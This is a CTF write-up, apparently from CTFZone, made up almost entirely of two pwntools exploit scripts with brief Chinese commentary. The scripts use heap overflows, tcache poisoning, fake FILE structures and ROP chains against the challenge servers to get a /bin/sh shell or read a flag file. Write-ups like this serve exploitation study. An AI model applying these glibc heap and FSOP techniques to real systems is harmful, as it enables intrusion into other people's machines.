附件见ctftime
unfree
简单的常规堆
from pwn import*
r=remote("unfree.ctfz.zone",17171)
#r=process('./unfree')
context.log_level='debug'
def new(idx,size,content):
r.recvuntil("Exit\n")
r.sendline("1")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def edit(idx,content):
r.recvuntil("Exit\n")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.send(content)
def show(idx):
r.recvuntil("Exit\n")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
def exit():
r.recvuntil("Exit\n")
r.sendline("0")
new(0,0x28,"a"*0x28+p64(0xd41))
new(1,0xbe8,"\n")
new(2,0x28,"\n")
new(3,0x118,"\n")
edit(2,"a"*0x30)
show(2)
r.recvuntil("a"*0x30)
heap1=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))<<12
edit(2,"b"*0x28+p64(0x101))
new(4,0x28,"b"*0x28+p64(0xeb1))
new(5,0xd58,"\n")
new(6,0x28,"\n")
new(7,0x118,"\n")
edit(6,"b"*0x30)
show(6)
r.recvuntil("b"*0x30)
heap2=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))
edit(6,"b"*0x28+p64(0x101))
heap=((heap1+0xef0)^heap2)<<12
success("heap: "+hex(heap))
new(8,0x28,"c"*0x28+p64(0xeb1))
new(9,0xec1,"\n")
edit(8,"c"*0x30)
show(8)
r.recvuntil("c"*0x30)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x203b20
success("libc_base: "+hex(libc_base))
edit(8,"c"*0x28+p64(0xe91))
edit(6,"b"*0x28+p64(0x101)+p64((libc_base+0x2044c0)^(heap>>12)))
new(10,0xf8,"\n")
new(11,0xf8,p64(heap1+0x2d0))
#0x00000000000a5678 : mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x10,"\x00")
fake_IO_struct+="/bin/sh"
fake_IO_struct=fake_IO_struct.ljust(0x20,"\x00")
fake_IO_struct+=p64(0)
fake_IO_struct=fake_IO_struct.ljust(0x28,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x88,"\x00")
fake_IO_struct+=p64(heap1+0x2d0)
fake_IO_struct=fake_IO_struct.ljust(0xa0,"\x00")
fake_IO_struct+=p64(heap1+0x3d0)
fake_IO_struct=fake_IO_struct.ljust(0xd8,"\x00")
fake_IO_struct+=p64(libc_base+0x202228)
fake_IO_struct=fake_IO_struct.ljust(0x100,"\x00")
fake_IO_struct+=p64(libc_base+0x582c2)
fake_IO_struct=fake_IO_struct.ljust(0x108,"\x00")
fake_IO_struct+=p64(heap1+0x2e0)
fake_IO_struct=fake_IO_struct.ljust(0x168,"\x00")
fake_IO_struct+=p64(libc_base+0xa5678)
fake_IO_struct=fake_IO_struct.ljust(0x1e0,"\x00")
fake_IO_struct+=p64(heap1+0x3d0)
edit(1,fake_IO_struct)
#gdb.attach(r,"b _IO_wdoallocbuf")
exit()
r.interactive()
pontius
自定义的堆管理器,菜单在unicore-engine的对于int 0x80的hook里面
分配一个0x101的堆在free就可以控制index_chunk了,后续就是任意地址写
from pwn import*
r=remote("pontius.ctfz.zone",41337)
#r=process(["./ld.so","./pontius"],env={"LD_PRELOAD": "/home/kagehutatsu/Downloads/pontius/task/libc.so.6"})
#r=process("./server.sh")
#r=remote("127.0.0.1",9999)
context.log_level='debug'
context.arch="amd64"
def new(size):
global shellcode
shellcode+=asm("mov eax, 1")
shellcode+=asm("mov edi, "+str(size))
shellcode+=asm("int 0x80")
def edit(idx,content):
global shellcode, data_address, data
shellcode+=asm("mov eax, 2")
shellcode+=asm("mov edi, "+str(idx))
shellcode+=asm("mov esi, "+str(data_address))
shellcode+=asm("mov edx, "+str(len(content)))
shellcode+=asm("int 0x80")
data_address+=len(content)
data+=content
def delete(idx):
global shellcode
shellcode+=asm("mov eax, 3")
shellcode+=asm("mov edi, "+str(idx))
shellcode+=asm("int 0x80")
def show(idx):
global shellcode
shellcode+=asm("mov eax, 4")
shellcode+=asm("mov edi, "+str(idx))
shellcode+=asm("int 0x80")
shellcode=""
data_address=0xCAFEB500
data=""
new(0x101)
new(0x102)
new(0x103)
delete(0)
new(0x100)
show(0)
shellcode+=asm("hlt")
shellcode=shellcode.ljust(0x500,"\x00")
shellcode+=data
r.recvline()
r.send(shellcode)
libm_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))+0x23fd8
success("libm_base: "+hex(libm_base))
libc=ELF("./libc.so.6")
rwx=libm_base-0x8000
libc_base=libm_base+0x109000
setcontext=libc_base+libc.sym["setcontext"]+53
magic_gadget=libc_base+0x1478e2
IO_stdout=libm_base+0x2e05c0
#IO_stdout=libc_base+libc.sym["_IO_2_1_stdout_"]
fake_stack_address=IO_stdout+0x200
pop_rax=libc_base+0x40647
pop_rdi=libc_base+0x28215
pop_rsi=libc_base+0x29b29
pop_rdx=libc_base+0x1085ad
#0x00000000001478e2 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
0x3695c0
shellcode=""
data_address=0xCAFEB500
data=""
fake_stack=""
fake_stack+=p64(pop_rdi)+p64(fake_stack_address+0x100)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"])
fake_stack+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(fake_stack_address+0x100)+p64(pop_rdx)+p64(0x80)+p64(libc_base+libc.sym["read"])
fake_stack+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"])
fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x38,"\x00")
fake_IO_struct+=p64(IO_stdout+0x100)
fake_IO_struct=fake_IO_struct.ljust(0x68,"\x00")
fake_IO_struct+=p64(magic_gadget)
fake_IO_struct=fake_IO_struct.ljust(0x88,"\x00")
fake_IO_struct+=p64(IO_stdout)
fake_IO_struct=fake_IO_struct.ljust(0xa0,"\x00")
fake_IO_struct+=p64(IO_stdout)
fake_IO_struct=fake_IO_struct.ljust(0xd8,"\x00")
fake_IO_struct+=p64(libm_base+0x367248-0x89000)
fake_IO_struct=fake_IO_struct.ljust(0xe0,"\x00")
fake_IO_struct+=p64(IO_stdout)
fake_IO_struct=fake_IO_struct.ljust(0x120,"\x00")
fake_IO_struct+=p64(setcontext)
fake_IO_struct=fake_IO_struct.ljust(0x1a0,"\x00")
fake_IO_struct+=p64(fake_stack_address)+p64(pop_rdi+1)
fake_IO_struct=fake_IO_struct.ljust(0x200,"\x00")
fake_IO_struct+=fake_stack
fake_IO_struct=fake_IO_struct.ljust(0x300,"\x00")
fake_IO_struct+="/tmp/flag.txt"
edit(0,p64(libm_base+0x3695c0-0x89000)+p64(0x400)+p64(libm_base+0x356028-0x89000)+p64(0x100))
edit(0,fake_IO_struct)
show(0)
shellcode+=asm("hlt")
shellcode=shellcode.ljust(0x500,"\x00")
shellcode+=data
success("setcontext: "+hex(setcontext))
r.recvline()
#pause()
#gdb.attach(r,"b _IO_wdoallocbuf")
r.send(shellcode)
r.interactive()